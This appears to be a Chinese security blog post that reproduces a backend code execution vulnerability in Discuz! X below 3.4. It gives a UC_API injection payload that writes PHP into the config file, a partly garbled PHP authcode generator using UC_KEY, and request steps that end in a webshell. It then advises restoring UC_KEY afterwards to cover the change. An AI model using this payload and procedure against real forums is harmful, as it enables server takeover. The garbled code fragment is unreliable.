022-Discuz! X < 3.4 uc_center 后台代码执行漏洞

## Discuz! X < 3.4 uc_center 后台代码执行漏洞 ### 一、漏洞简介 ### 二、漏洞影响 Discuz! X < 3.4 ### 三、复现过程 进入后台站长-Ucenter设置,设置UC_KEY=随意(一定要记住,后面要用), ``` UC_API= http://www.baidu.com/discuz34/uc_server');phpinfo();// ``` ![](/static/lingzu/images/2020_06_13/15920631061126.png) ![](/static/lingzu/images/2020_06_13/15920631179734.png) 成功写进配置文件,这里单引号被转移了,我们接下来使用UC_KEY(dz)去调用api/uc.php中的updateapps函数更新UC_API。 利用UC_KEY(dz) 生成code参数,使用过UC_KEY(dz) GetWebShell的同学肯定不陌生,这里使用的UC_KEY(dz)就是上面我们设置的。 ```php 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return ”;
}
} else {
return $keyc.str_replace(‘=’, ”, base64_encode($result));
}
}
?>
“`

将生成的数据带入GET请求中的code 参数,发送数据包

![](/static/lingzu/images/2020_06_13/15920631393557.png)

访问 `http://url/discuz34/config/config_ucenter.php` 代码执行成功

![](/static/lingzu/images/2020_06_13/15920631561874.png)

![](/static/lingzu/images/2020_06_13/15920631600417.png)

到此成功GetWebShell,在这个过程中,有一点需要注意的是,我们修改了程序原有的UC_KEY(dz),成功GetWebShell以后一定要修复,有2中方法:

* 从数据库中读取authkey(uc_server),通过UC_MYKEY解密获得UC_KEY(dz),当然有可能authkey(uc_server)就是UC_KEY(dz)。
* 直接进入Ucenter后台修改UC_KEY,修改成我们GetWebShell过程中所设置的值。

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容